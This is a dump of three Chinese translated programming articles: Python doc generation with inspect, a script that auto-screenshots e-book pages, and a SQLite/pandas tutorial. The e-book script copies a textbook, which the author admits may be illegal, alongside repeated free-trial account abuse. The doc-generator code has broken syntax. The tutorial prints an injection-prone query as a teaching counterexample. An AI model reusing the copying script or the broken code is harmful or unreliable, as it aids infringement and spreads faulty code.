内容的蓝图。你想得到一个非递归至自定义类内部的浅述内容吗？我们要对哪些方法生成描述文档呢？内置的内容还要生成说明吗？或者 `_` 和 `__` 方法（即非公有方法和魔术方法）？我们要如何表述函数签名？我们要获取注释吗？\n\n我的选择如下：\n\n* 每次运行都生成一个包含递归至被检视对象的各种子类内部的信息的 `.md` 文件\n* 只对我创建的自定义代码生成说明，对引入的模块不做处理\n* 输出的每个部分都必须使用 mrakdown 的二级标题（`##`）标记\n* 所有的标题都必须包含当前描述项目的完整路径（`模块.类.子类.方法`）\n* 将完整的函数签名作为预定义格式的文本\n* 为每个标题提供一个锚点，方便快速链接到文档（文档内也是如此）\n* 任何以 `_` 或者 `__` 开始的函数都不生成文档\n\n#### 整合文档\n\n引入对象之后，我们就能开始检视它了，只需很简单地反复调用 `getmembers(对象, 筛选)` 方法，“筛选”即为某个 `is` 方法。你不光能使用 `isclass` 和 `isfunction` 方法，还有其他的诸如 `ismethod`，`isgenerator` 和 `iscoroutine` 方法。这完全取决于你是想写一些能够处理所有特殊情况的泛型，还是一些更细致更具有特点的源码。因为没有什么后顾之忧，所以我一直使用前两个方法，并且兵分三路来分别创建模块、类和方法的文档格式。\n\n    def getmarkdown(module):\n        output = [ module_header ]\n        output.extend(getfunctions(module)\n        output.append(\"***\\n\")\n        output.extend(getclasses(module))\n        return \"\".join(output)\n    def getclasses(item):\n        output = list()\n        for cl in inspect.getmembers(item, inspect.isclass):\n            if cl[0] != \"__class__\" and not cl[0].startswith(\"_\"):\n                # Consider anything that starts with _ private\n                # and don't document it\n                output.append( class_header )\n                output.append(cl[0])   \n                # Get the docstring\n                output.append(inspect.getdoc(cl[1])\n                # Get the functions\n                output.extend(getfunctions(cl[1]))\n                # Recurse into any subclasses\n                output.extend(getclasses(cl[1])\n        return output\n    def getfunctions(item):\n        for func in inspect.getmembers(item, inspect.isfunction):\n            output.append( function_header )\n            output.append(func[0])\n            # Get the signature\n            output.append(\"\\n```python\\n)\n            output.append(func[0])\n            output.append(str(inspect.signature(func[1]))\n            # Get the docstring\n            output.append(inspect.getdoc(func[1])\n        return output\n\n当格式化一大段夹杂着程序代码的文本的时候，我喜欢将其分为多个列表或者元组并且用 `\"\".join()` 来将输出的内容组合到一起，这种写法实际上比添写 `.format` 和 `%` 快很多。然而，python 3.6 中新的字符串格式化方式比这种方法更快，更具可读性。\n\n如你所见，`getmembers()` 首先返回了对象名，然后返回了实际的对象，我们可以用它来递归整个对象结构。\n\n我们可以用 `getdoc()` 或者 `getcomments()` 来获取每个检索内容的说明内容和注释。对函数来说，我们可以使用 `signature()` 获取描述其位置和关键字参数、默认值以及注释的 `Signature` 对象，并灵活生成极具描述性和风格良好的文本来帮助用户了解我们编码的意图。\n\n#### 未雨绸缪和以防万一\n\n要注意上文中的代码仅仅是为了让你对结果有个直观的认识，在大功告成之前，你还要对以下问题加以深思熟虑：\n\n*  如上所示，`getfunctions` 和 `getclasses` 会展示模块中引入的**所有**函数和类，包含内置和扩展包中的内容，因此你需要在 for 循环中进一步筛选。最后，我使用了当前检视内容所在模块的 `__file__` 属性，换句话说，如果所检视路径中存在某个模块，而模块中定义了所检视内容，然后我们可以使用 `os.path.commonprefix()` 将其引入。\n\n*   在文件路径、引入结构和命名方面还存在一些疑难杂症，比如当你通过 __init__.py 将模块 X 引入一个代码包的时候，你将能通过 package.moduleX.function 的方式获取它的函数，但是通过 moduleX.__name__ 返回的完整的名字却是 package.moduleX.moduleX.function，在迭代内容的时候需要时刻牢记。\n\n*   你也会从 `builtins` 中引入类，但是内置的模块没有 `__file__` 属性，所以当你在添加筛选时要记得检查哦。\n\n*   因为是 markdown 语法并且我们只是简单的引入说明内容，所以你可以在说明文档中引入 markdown 语法的内容，它也能很精美地显示在页面中。然而，这意味着你要正确操作，避免文档说明影响 HTML 的生成。\n\n#### 采样输出\n\n我在 `sofi` 代码包上运行生成器——准确来说是 `sofi.app` 模块——以下是生成的 markdown 文件的内容。\n\n    # sofi\n    \n    ### [sofi](#sofi).\\_\\_init\\_\\_\n    ```python\n    __init__(self)\n    ```\n    \n    ### [sofi](#sofi).addclass\n    ```python\n    addclass(self, selector, cl)\n    ```\n    Add the given class from all elements matching this selector.\n\n下面是在 mkdocs 下生成的一个 readthedocs 主题的样本内容（不包含函数注释）：\n\n![](https://cdn-images-1.medium.com/max/1000/1*y1cT7FhQpijK_wVhFuHNsw.png)\n\n* * *\n\n我相信你肯定已经明白，使用这些机制自动生成的文档能提供完整、准确、最新的模块信息，这使得模块在编程过程中易于维护和编辑，而并非是事后诸葛。（即并非在事后已经不需要的时候才总结出一份与模块相符的文档，原文为 instead of after the fact ，译者注）。我强烈建议每个人都试一试。\n\n本文结束之前，我想回顾一下并说明 makdocs 并不是唯一的文档包，还有很多著名且应用广泛的文档包，比如 Sphinx（mkdocs 既是基于此）和 Doxygen，两者都可以实现我们今天谈论的内容。然而，我一如既往义无反顾地这样做，就是为了能够深入了解 Python 和它所自带的工具。"
  },
  {
    "path": "TODO/python-is-the-perfect-tool-for-any-problem.md",
    "content": "> * 原文地址：[Python is the Perfect Tool for any Problem](https://towardsdatascience.com/python-is-the-perfect-tool-for-any-problem-f2ba42889a85)\n> * 原文作者：[William Koehrsen](https://towardsdatascience.com/@williamkoehrsen?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/python-is-the-perfect-tool-for-any-problem.md](https://github.com/xitu/gold-miner/blob/master/TODO/python-is-the-perfect-tool-for-any-problem.md)\n> * 译者：[Ryden Sun](https://github.com/rydensun)\n> * 校对者：[zephyrJS](https://github.com/zephyrjs) [lampui](https://github.com/lampui)\n\n# Python 是解决任何问题的完美工具\n\n![](https://cdn-images-1.medium.com/max/1600/0*UiI1SaCbMvovF2wh.)\n\n**关于我第一个 Python 程序的反思**\n\n反思一直是一个有帮助的（有时是很有趣的）训练。出于怀旧的目的 —— 如果一个人能够对某件事念念不忘两年 —— 我想要分享一下我的第一个 Python 程序。当时作为一名航天工程专业的学生，为了从那堆数据表中脱身，我开始用起了 Python，我当时并不知道这个决定会变得这么好。\n\n我的 Python 自学是从由 Al Sweigart 写的 [Automate the Boring Stuff with Python](https://automatetheboringstuff.com/) 这本书开始的，这是一个本出色的基于应用程序开发的书，里面有一些简单的程序例子，但这些程序执行了一些很有用的任务。当我学习新东西时，我会寻找任何机会来使用它，因此我需要一些可以用 Python 解决的问题。幸运的是，我找到了学以致用的例子。这个课程需要 $200 的教科书，而我只想为这本书花 $20 (Automate the Boring Stuff 在网上是免费的)，我甚至拒绝去借这本书。在第一个作业之前基本是不可能得到这本书了，我发现在 Amazon 上新开一个账户，可以有一个星期的免费试看。我获得了这本书的一个星期使用权限并且可以完成我的第一个作业。虽然我可以继续一个星期创建一个新账户，但我需要一个更好的解决办法。这就进入了 Python 和我的第一个应用程序。 \n\n_Automate the Boring Stuff_ 中有很多有用的库，其中一个是 [pyautogui](https://pyautogui.readthedocs.io/en/latest/)，它允许我用 Python 控制键盘和鼠标。俗话说，当你有一个锤子的时候，任何问题看起来都像是一颗钉子， 这句话绝对适合现在这个情景。Python 和 pyautogui 允许我按下方向键并且对屏幕截图，我把它们两个放到一起，一个针对书本的解决方案就出来了。我写的第一个程序就是自动地翻过电子书的每一页并且进行截图。最终的程序只有 10 行代码长，但我的自豪感超过了我在航天工程做的所有事情！下面是程序的完整代码：\n\n```\nimport pyautogui\nimport time\n\n# Sleep for 5 seconds to allow me to open book\ntime.sleep(5)\n\n# Range can be changed depending on the number of pages\nfor i in range(1000):\n\n # Turn page\n pyautogui.keyDown('right')\n pyautogui.keyUp('right')\n\n # Take and save a screenshot\n pyautogui.screenshot('images/page_%d.pdf' % i)\n time.sleep(0.05)\n```\n\n运行这个程序很简单（我推荐每一个人都试一试）。我保存这个脚本名字叫 book_screenshot.py，然后我打开控制台，切换到同一个文件目录下，输入：\n\n```\npython book_screenshot.py\n```\n\n然后我有 5 秒时间翻到这本书并且进入全屏模式。 程序会先休息 5 秒，然后自动翻过每一页并且截屏，最后保存为一个 pdf 文件。我接下来可以把所有 pdf 文件汇总起来到一个 pdf 文件， 这样我了这本书的一个复件（不知是否合法）！诚然，由于不支持检索，这种复制方式很烂。但我还是会义无反顾地使用我的“书”。\n\n![](https://cdn-images-1.medium.com/max/800/1*kxxaqXCHYHJbuURp6clKtA.gif)\n\n我可以看上几个小时。\n\n这个例子展示了两个在我数据科学学习中，一直困扰我的两个关键点：\n\n1. [最好的学习新技能的方式就是找到一个你需要解决的问题](https://towardsdatascience.com/how-to-master-new-skills-656d42d0e09c?source=user_profile---------7----------------)！\n2. 在一项技能有用之前，你不需要完全掌握它。\n\n用简单几行代码和一本免费的电子书，我写了一个我会真实使用的程序。学习基础知识是单调乏味的，我学习 Python 的第一次尝试在几个小时后就失败了， 我陷入了那些数据结构和循环方法中。改变战略，我从开发解决真实问题的方案开始并且最终真的在过程中学会了这些基础知识。编程和数据科学有太多需要掌握的东西，但你不需要一次就学习所有的东西。挑一个你需要解决的问题并且直接开始！\n\n从那以后，我做了几个[更精细的程序](https://towardsdatascience.com/stock-analysis-in-python-a0054e2c1a4c)，但我始终记着我第做一个脚本时的乐趣！\n\n分享你的第一个程序！我欢迎大家的讨论，反馈和建设性的批评建议。你可以在 Twitter @koehrsen_will 上找到我。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/python-pandas-databases.md",
    "content": "> * 原文地址：[Working with SQLite Databases using Python and Pandas](https://www.dataquest.io/blog/python-pandas-databases/)\n* 原文作者：[Vik Paruchuri](https://twitter.com/vikparuchuri)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[marcmoore](https://github.com/marcmoore), [futureshine](https://github.com/futureshine)\n\n# `Python` 和 `Pandas` 在 `SQLite` 数据库中的运用\n\n\n[SQLite](https://www.sqlite.org) 是一个数据库引擎，使用它能方便地存储和处理关系型数据。它和 _csv_ 格式很相似，`SQLite` 把数据存储在一个单独的文件中，它能方便地与其他人共享。大部分的编程语言和编译环境都对 `SQLite` 数据库提供了很好的支持。`Python` 也不例外，并且专门有一个访问 `SQLite` 数据库的程序库，叫做 `sqlite3`，自从 `2.5` 版本以来，它就已经被 `Python` 纳入标准库里。在这篇博文中，我们将学会如何使用 `sqlite3` 创建、查询和更新数据库。也包括了，使用 [pandas](https://pandas.pydata.org/) 程序包如何简化 `SQLite` 数据库。我们会使用 `Python 3.5`，但是所有的实现方法应该兼容 `Python 2`。 \n\n在我们开始之前，让我们先快速检阅下我们之后要处理的数据。我们看到的是航空公司的航班数据，它包含了有关航空公司的信息，机场名称和往来各个机场的航线名称。每一条航线代表着有一架航班重复往返于目的地和始发地的机场。\n\n所有的数据都存在一个叫做 `flights.db` 的数据库中，它有三张表格 - `airports`, `airliens`, `routes`。你可以到 [这里](https://www.dropbox.com/s/a2wax843eniq12g/flights.db?dl=0) 下载到它。\n\n这里有两行来自 `airlines` 表格的数据:\n\n\n|     | id  | name                   | alias | iata | icao | callsign | country  | active |\n|-----|-----|------------------------|-------|------|------|----------|----------|--------|\n| 10  | 11  | 4D Air                 | \\\\N   | NaN  | QRT  | QUARTET  | Thailand | N      |\n| 11  | 12  | 611897 Alberta Limited | \\\\N   | NaN  | THD  | DONUT    | Canada   | N      |\n\n就如你在上表中看到的，每一行都是一个不同的航空公司，每一列是这个航空公司的属性，例如 `name` 和 `country`。每一个航空公司也都有一个独一无二的 `id`，所以如果需要的时候，我们能非常方便地查询到。\n\n这里有两行来自 `airports` 表格的数据:\n\n\n|     | id  | name   | city   | country          | code | icao | latitude  | longitude  | altitude | offset | dst | timezone              |\n|-----|-----|--------|--------|------------------|------|------|-----------|------------|----------|--------|-----|-----------------------|\n| 0   | 1   | Goroka | Goroka | Papua New Guinea | GKA  | AYGA | -6.081689 | 145.391881 | 5282     | 10     | U   | Pacific/Port\\_Moresby |\n| 1   | 2   | Madang | Madang | Papua New Guinea | MAG  | AYMD | -5.207083 | 145.7887   | 20       | 10     | U   | Pacific/Port\\_Moresby |\n\n\n就如你所看到的，每一行都对应了一个机场，并且包含了机场所在地的信息。每一个机场也有一个独一无二的 `id`，所以我们也能方便地进行查询。\n\n这里有两行来自 `routes` 表格的数据:\n\n\n|     | airline | airline\\_id | source | source\\_id | dest | dest\\_id | codeshare | stops | equipment |\n|-----|---------|-------------|--------|------------|------|----------|-----------|-------|-----------|\n| 0   | 2B      | 410         | AER    | 2965       | KZN  | 2990     | NaN       | 0     | CR2       |\n| 1   | 2B      | 410         | ASF    | 2966       | KZN  | 2990     | NaN       | 0     | CR2       |\n\n\n每一条航线包含有一个 `airline_id`，这个 `id` 代表飞这条航线的航空公司，`souce_id` 也是，它是航班始发地机场的 `id`，而 `dest_id` 是该航班目的地机场的 `id`。\n\n至此，我们知道了需要处理的是什么数据，让我们先从连接数据库和执行一条查询指令开始。\n\n## 使用 `Python` 执行数据库的查询指令\n\n为了通过 `Python` 使用 `SQLite` 数据库，我们先要连接这个数据库。我们可以使用 [connect](https://docs.python.org/3/library/sqlite3.html?highlight=connect#sqlite3.connect) 方法, 它返回一个 [Connection](https://docs.python.org/3/library/sqlite3.html?highlight=connect#sqlite3.Connection) 对象:\n\n\n\n    import sqlite3\n\n    conn = sqlite3.connect(\"flights.db\")\n\n\n\n一旦我们有了一个 `Connection 对象`，之后创建一个 [Cursor](https://docs.python.org/3/library/sqlite3.html#cursor-objects) 对象。`Cursors` 让我们能对一个数据库执行 `SQL` 查询指令。\n\n\n\n    cur = conn.cursor()\n\n\n\n一旦我们有了这个 `Cursor 对象`，我们能使用它通过适当地调用 [execute](https://docs.python.org/3/library/sqlite3.html?highlight=connect#sqlite3.Cursor.execute) 方法来对数据库执行查询指令。通过以下代码，你能从 `airlines` 表中获取前 `5` 行数据结果。\n\n\n\n    cur.execute(\"select * from airlines limit 5;\")\n\n\n\n你可能已经注意到，我们没有把之前的查询结果存储到一个变量中。这是因为我们需要执行另外一个指令来真正地获得结果。我们可以使用 [fetchall](https://docs.python.org/3/library/sqlite3.html?highlight=connect#sqlite3.Cursor.fetchall) 方法来获取查询的结果。\n\n\n\n    results = cur.fetchall()\n    print(results)\n\n\n\n\n\n    [(0, '1', 'Private flight', '\\\\N', '-', None, None, None, 'Y'),\n     (1, '2', '135 Airways', '\\\\N', None, 'GNL', 'GENERAL', 'United States', 'N'),\n     (2, '3', '1Time Airline', '\\\\N', '1T', 'RNX', 'NEXTIME', 'South Africa', 'Y'),\n     (3, '4', '2 Sqn No 1 Elementary Flying Training School', '\\\\N', None, 'WYT', None, 'United Kingdom', 'N'),\n     (4, '5', '213 Flight Unit', '\\\\N', None, 'TFU', None, 'Russia', 'N')]\n\n\n\n如你所见，查询结果以 一组 [tuples](https://docs.python.org/3.5/tutorial/datastructures.html#tuples-and-sequences) 的格式返回。每一个 `tuple` 对应了我们从数据库中访问到某一行数据。以这种形式处理数据是非常麻烦的。我们需要人为地增加每一列的表头，并且手动解析数据。 幸运的是，`pandas` 提供的库中有更加便捷的方法，我们会在下一个部分中提到它。\n\n在我们继续探索之前，及时关闭那些被打开的 `Connection 对象` 和 `Cursor 对象` 是良好的习惯。这样避免了 `SQLite` 数据库被锁上。当一个 `SQLite` 数据库被锁上的时候，你可能就无法对这个数据库进行更新操作了，也会得到错误的提示。我们能通过以下方式关闭 `Connection 对象` 和 `Cusor 对象`:\n\n\n\n    cur.close()\n    conn.close()\n\n\n\n### 绘制机场地图\n\n使用我们新发现的查询指令，我们能在世界地图上描绘和展示出所有机场的位置。首先，我们先要查询机场的经纬度坐标：\n\n\n\n    import sqlite3\n\n    conn = sqlite3.connect(\"flights.db\")\n    cur = conn.cursor()\n    coords = cur.execute(\"\"\"\n      select cast(longitude as float),\n      cast(latitude as float)\n      from airports;\"\"\"\n    ).fetchall()\n\n\n\n以上的查询代码将检索返回 `airports` 表中每列 `latitude` 和 `longitude` 的数据，并把结果转化成 `float` 类型。之后，我们调用 `fetchall` 方法来获取他们。\n\n接下来，我们通过导入 [matplotlib](http://matplotlib.org/) 来创建我们的测绘图，它是 `Python` 上主要的绘图库。结合 [basemap](http://matplotlib.org/basemap/) 包，这允许我们只使用 `Python` 就能创建地图。\n\n首先，我们需要导入这些库:\n\n\n\n    from mpl_toolkits.basemap import Basemap\n    import matplotlib.pyplot as plt\n\n\n\n之后，建立我们的地图，并且描绘出大陆和海岸线，它们会构成我们地图的背景。\n\n\n\n    m = Basemap(\n      projection='merc',\n      llcrnrlat=-80,\n      urcrnrlat=80,\n      llcrnrlon=-180,\n      urcrnrlon=180,\n      lat_ts=20,\n      resolution='c'\n    )\n\n    m.drawcoastlines()\n    m.drawmapboundary()\n\n\n\n最后，我们在地图上描绘出每一个机场的坐标。我们从 `SQLite` 数据库中检索一组 `tuples`。 在每个 `tuple` 中第一个元素是飞机场的经度，第二个是纬度。我们会把这些经度和纬度转换成它们自己的数组，之后把它们描绘在地图上。 \n\n\n\n    x, y = m(\n      [l[0] for l in coords],\n      [l[1] for l in coords]\n    )\n\n    m.scatter(\n      x,\n      y,\n      1,\n      marker='o',\n      color='red'\n    )\n\n\n\n最终，我们把每一个机场都展现在了世界地图上:\n\n\n\n\n\n![](https://www.dataquest.io/blog/images/pyviz/mplmap.png)\n\n\n\n\n\n你可能注意到，直接操作来自数据库的数据让你痛苦不堪。我们需要记住每一个 `tuple`\n 的位置对应到数据库中每一列是什么，并且手动为每一列解析出每组各自的内容。\n\n### 用 `pandas DataFrame` 读取数据结果\n\n我们能使用 `pandas` 的 [read_sql_query](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_sql_query.html) 方法直接把一条 `SQL` 查询结果读取到一个 `pandas DataFrame` 中。下面的代码将执行和前文中作用一样的查询，但是它会返回一个 `DataFrame`。对比前文的数据查询方式，它能带来诸多好处:\n\n* 我们不需要每次到最后都创建一个 `Cursor 对象` 或者调用 `fetchall`。\n* 它能自动通过表头的名字来阅读整个表。\n* 它创建了一个 `DataFrame`，所以我们能快速的挖掘数据。\n\n\n```\n    import pandas as pd\n    import sqlite3\n\n    conn = sqlite3.connect(\"flights.db\")\n    df = pd.read_sql_query(\"select * from airlines limit 5;\", conn)\n    df\n```\n\n\n|     | index | id  | name                                         | alias | iata | icao | callsign | country        | active |\n|-----|-------|-----|----------------------------------------------|-------|------|------|----------|----------------|--------|\n| 0   | 0     | 1   | Private flight                               | \\\\N   | -    | None | None     | None           | Y      |\n| 1   | 1     | 2   | 135 Airways                                  | \\\\N   | None | GNL  | GENERAL  | United States  | N      |\n| 2   | 2     | 3   | 1Time Airline                                | \\\\N   | 1T   | RNX  | NEXTIME  | South Africa   | Y      |\n| 3   | 3     | 4   | 2 Sqn No 1 Elementary Flying Training School | \\\\N   | None | WYT  | None     | United Kingdom | N      |\n| 4   | 4     | 5   | 213 Flight Unit                              | \\\\N   | None | TFU  | None     | Russia         | N      |\n\n如你所见，我们得到了一个有着清晰格式的 `DataFrame` 作为结果。我们能方便地操作这些列:\n\n\n    df[\"country\"]\n\n\n\n\n\n      0              None\n      1     United States\n      2      South Africa\n      3    United Kingdom\n      4            Russia\n      Name: country, dtype: object\n\n\n\n强烈建议尽可能使用 `read_sql_query` 方法。\n\n### 构建航线图\n\n至此，我们已经知道如何把查询结果读取到 `pandas DataFrames` 中，我们能在世界地图上创建每一个航空公司的航线图。首先，我们需要查询这些数据。查询方式如下:\n\n* 获取每一条航线中始发地机场的经纬度。\n* 获取每一条航线中目的地机场的经纬度。\n* 把所有这些坐标转换成 `float` 类型。\n* 把检索结果读取进一个 `DataFrame` 中，并把他们存在变量 `routes` 中。 \n\n\n```\n    routes = pd.read_sql_query(\"\"\"\n                               select cast(sa.longitude as float) as source_lon,\n                               cast(sa.latitude as float) as source_lat,\n                               cast(da.longitude as float) as dest_lon,\n                               cast(da.latitude as float) as dest_lat\n                               from routes\n                               inner join airports sa on\n                               sa.id = routes.source_id\n                               inner join airports da on\n                               da.id = routes.dest_id;\n                               \"\"\",\n                               conn)\n```\n\n\n之后，我们开始创建地图:\n\n\n\n    m = Basemap(projection='merc',llcrnrlat=-80,urcrnrlat=80,llcrnrlon=-180,urcrnrlon=180,lat_ts=20,resolution='c')\n    m.drawcoastlines()\n\n\n\n首先，我们开始遍历最先的 `3000` 行数据，并绘制他们。代码如下:\n\n* 把前 `3000` 行数据遍历存储到 `routes` 中。\n* 判断航线是否太长。\n* 如果航线不是很长:\n    * 在始发地和目的地之间画一个圈。\n\n\n```\n    for name, row in routes[:3000].iterrows():\n        if abs(row[\"source_lon\"] - row[\"dest_lon\"]) < 90:\n            # Draw a great circle between source and dest airports.\n            m.drawgreatcircle(\n                row[\"source_lon\"],\n                row[\"source_lat\"],\n                row[\"dest_lon\"],\n                row[\"dest_lat\"],\n                linewidth=1,\n                color='b'\n            )\n```\n\n\n最后，我们完成了这个地图:\n\n\n\n\n\n![](https://www.dataquest.io/blog/images/pyviz/mplmap2.png)\n\n\n\n\n\n比起直接使用 `sqlite3` 处理这些原始检索数据，当我们使用 `pandas` 把所有的 `SQL` 检索到的数据读入一个 `DataFrame` 中是一个非常有效的方法。\n\n至此，我们理解了如何检索数据库的内容，接下来，让我们看看如何对这些数据进行修改。\n\n\n\n\n\n### 这篇博文还是挺有趣的吧？ 让我们使用 `Dataquest` 学习数据科学 \n\n#####\n\n* 选一个你喜欢的浏览器继续学习。\n* 操作真实世界的数据。\n* 创建一个项目集。\n\n[免费在线课堂](https://www.dataquest.io/)\n\n\n\n## 修改数据库的内容\n\n我们可以使用 `sqlite3` 开发包来修改一个 `SQLite` 数据库，比如插入，更新或者删除某些行内容。创建数据库的连接和查询一个数据表的方法一样，所以我们会跳过这个部分。\n\n### 使用 `Python` 插入行内容\n\n为了插入一行数据，我们需要写一条 `INSERT` 查询指令。以下代码会对 `airlines` 表中新增加一行数据。我们指定 `9` 个需要被添加的数据，对应着 `airlines` 表格的每一列。这会为这个表增加一行新数据。 \n\n\n\n    cur = conn.cursor()\n    cur.execute(\"insert into airlines values (6048, 19846, 'Test flight', '', '', null, null, null, 'Y')\")\n\n\n\n如果你尝试对这个表格进行检索，你其实还不能看到这条新的数据。然而，你会看到一个名字为 `flights.db-journal` 的文件被创建了。在你准备好把它 `commit` 到主数据库 `flights.db` 之前，`flights.db-journal` 会代为存储新增加的行数据。 \n\n`SQLite` 并不会写入数据库直到你提交了一个 [transaction](https://www.sqlite.org/lang_transaction.html)。每一个 `transaction` 包含了 1 个或者多个查询指令，它能把所有新的变化一次性提交给数据库。这样的设计使得从意外的修改或错误中恢复变得更加容易。`Transaction` 允许你执行多个查询指令，最终这些结果都会修改数据库。这确保了如果有一条查询指令失败了，数据库不会只有部分内容被更新。\n\n举个例子来说，如果你有两张表，一张表包含了对银行账户收取的费用(`charges`)，另一张表包含了账户在银行内存款的余额(`balances`)。假定有一位银行客户 Roberto，他想给姐妹 Luisa 转 $50 美元。为了完成这笔交易，银行应该需要执行以下几步:\n\n* 在 `charges` 中新增加一行，描述有 $50 美元正要从 Roberto 的账户转到 Luisa。\n* 更新 Roberto `balances` 表中的数据内容，并且移除 $50 美元。\n* 更新 Luisa `balances` 表中的数据内容，并且增加 $50 美元。\n\n如此来说，为了更新所有的表格需要三次单独的 `SQL` 查询指令。如果一个查询指令失败了，我们的数据库就会被破损的数据卡住。举例来说，如果前两条指令成功运行了，第三条失败了，Roberto 将会损失他的钱，但是 Luisa 也不会获得这笔钱。`Transactions` 意味着主数据库不会被更新除非所有的查询指令都被成功执行。这避免了系统进入错误的状态，用户可能会丢失他们的存款。\n\n默认情况下，当你执行了任何会修改数据库的查询指令时，`sqlite3` 会打开一个 `transaction`。你能在 [这里](https://docs.python.org/3/library/sqlite3.html#sqlite3-controlling-transactions) 了解更多。我们能提交 `transaction`，也能使用 [commit](https://docs.python.org/3/library/sqlite3.html#sqlite3.Connection.commit) 方法对 `airlines` 表新增加内容:\n\n\n    conn.commit()\n\n\n\n现在，当我们检索 `flights.db` 的时候，我们将看到这个额外的数据，它包含我们的测试航班。\n\n\n\n    pd.read_sql_query(\"select * from airlines where id=19846;\", conn)\n\n\n\n\n|     | index | id    | name        | alias | iata | icao | callsign | country | active |\n|-----|-------|-------|-------------|-------|------|------|----------|---------|--------|\n| 0   | 1     | 19846 | Test flight |       |      | None | None     | None    | Y      |\n\n\n\n### 对检索增加条件参数\n\n在最后那条查询指令中，我们把固定值插入到所需要的数据库中。多数情况下，当你想插入数据到数据库中的时候，它不会是一些固定值，它应该是一些你想传入方法的动态值。这些动态值可能来自于下载得到的数据，或者来自于用户的输入。\n\n当操作动态值的时候，有些人尝试用 `Python` 的格式化字符串来插入这些值:\n\n\n\n    cur = conn.cursor()\n    name = \"Test Flight\"\n    cur.execute(\"insert into airlines values (6049, 19847, {0}, '', '', null, null, null, 'Y')\".format(name))\n    conn.commit()\n\n\n\n你应该避免这样做！通过 `Python` 的格式化字符串插入数值会让你的程序更加容易受到 [SQL 注入](https://en.wikipedia.org/wiki/SQL_injection) 的攻击。幸运的是，`sqlite3` 有一个更加直接的方式来注入动态值，而不是依赖格式化的字符串。\n\n\n\n\n    cur = conn.cursor()\n    values = ('Test Flight', 'Y')\n    cur.execute(\"insert into airlines values (6049, 19847, ?, '', '', null, null, null, ?)\", values)\n    conn.commit()\n\n\n\n任何在查询指令中以 `?` 形式出现的数值都会被 `values` 中的数值替代。第一个 `?` 将会被 `values` 中的第一个数值替代，第二个也是，其他以此类推。这个方式对任何形式的查询指令都有用。如此就创建了一个 `SQLite` [带参数形式的查询指令](https://www.sqlite.org/lang_expr.html)，它有效避免了 `SQLite 注入` 的问题。\n\n### 更新行数据内容\n\n通过使用 `execute` 方法，我们可以修改在 `SQLite` 表格中某些行数据的内容:\n\n\n\n    cur = conn.cursor()\n    values = ('USA', 19847)\n    cur.execute(\"update airlines set country=? where id=?\", values)\n    conn.commit()\n\n\n\n之后，我们能验证更新的内容:\n\n\n\n    pd.read_sql_query(\"select * from airlines where id=19847;\", conn)\n\n\n|     | index | id    | name        | alias | iata | icao | callsign | country | active |\n|-----|-------|-------|-------------|-------|------|------|----------|---------|--------|\n| 0   | 6049  | 19847 | Test Flight |       |      | None | None     | USA     | Y      |\n\n\n### 删除某些行数据的内容\n\n最后，通过使用 `execute` 方法，我们能删除数据库中的某些行数据内容:\n\n\n\n    cur = conn.cursor()\n    values = (19847, )\n    cur.execute(\"delete from airlines where id=?\", values)\n    conn.commit()\n\n\n\n之后，通过确认没有相匹配的查询内容，我们能验证这些行数据内容确实被删除了:\n\n\n\n    pd.read_sql_query(\"select * from airlines where id=19847;\", conn)\n\n\n\n|     | index | id  | name | alias | iata | icao | callsign | country | active |\n|-----|-------|-----|------|-------|------|------|----------|---------|--------|\n\n\n## 创建表格\n\n我们可以通过执行一条 `SQLite` 查询指令来创建表。我们能创建一个表，它能展示每天在某一条航线上的航班，使用以下几列:\n\n* `id` — 整型\n* `departure` — 日期型，表示飞机离开机场的时间 \n*  `arrival` — 日期型，表示飞机到达目的地的时间\n* `number` — 文本型，飞机航班号\n* `route_id` — 整型，正在飞行的航线号\n\n\n```\n    cur = conn.cursor()\n    cur.execute(\"create table daily_flights (id integer, departure date, arrival date, number text, route_id integer)\")\n    conn.commit()\n```\n\n\n一旦我们创建了这个表，我们就能对这个表插入数据:\n\n\n\n    cur.execute(\"insert into daily_flights values (1, '2016-09-28 0:00', '2016-09-28 12:00', 'T1', 1)\")\n    conn.commit()\n\n\n\n当我们对该表执行查询指令的时候，我们就能看到这些行数据内容:\n\n\n\n    pd.read_sql_query(\"select * from daily_flights;\", conn)\n\n\n\n|     | id  | departure       | arrival          | number | route\\_id |\n|-----|-----|-----------------|------------------|--------|-----------|\n| 0   | 1   | 2016-09-28 0:00 | 2016-09-28 12:00 | T1     | 1         |\n\n\n### 使用 `pandas` 创建表\n\n`pandas` 包提供给我们一个更加快捷地创建表格的方法。我们只需要先创建一个 `DataFrame`，之后把它导出到一个 `SQL` 表格内。首先，我们将创建一个 `DataFrame`:\n\n\n\n    from datetime import datetime\n    df = pd.DataFrame(\n        [[1, datetime(2016, 9, 29, 0, 0) , datetime(2016, 9, 29, 12, 0), 'T1', 1]],\n        columns=[\"id\", \"departure\", \"arrival\", \"number\", \"route_id\"]\n    )\n\n\n\n之后，我们就能调用 [to_sql](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.to_sql.html) 方法，它将 `df` 转化成一个数据库中的数据表。我们把参数 `keep_exists` 设定成 `replace`，为了删除并且替换数据库中任何已存在的 `daily_flights`: \n\n\n\n    df.to_sql(\"daily_flights\", conn, if_exists=\"replace\")\n\n\n\n通过对数据库执行查询指令，我们能验证是否正常工作了:\n\n\n\n    pd.read_sql_query(\"select * from daily_flights;\", conn)\n\n\n\n|     | index | id  | departure           | arrival             | number | route\\_id 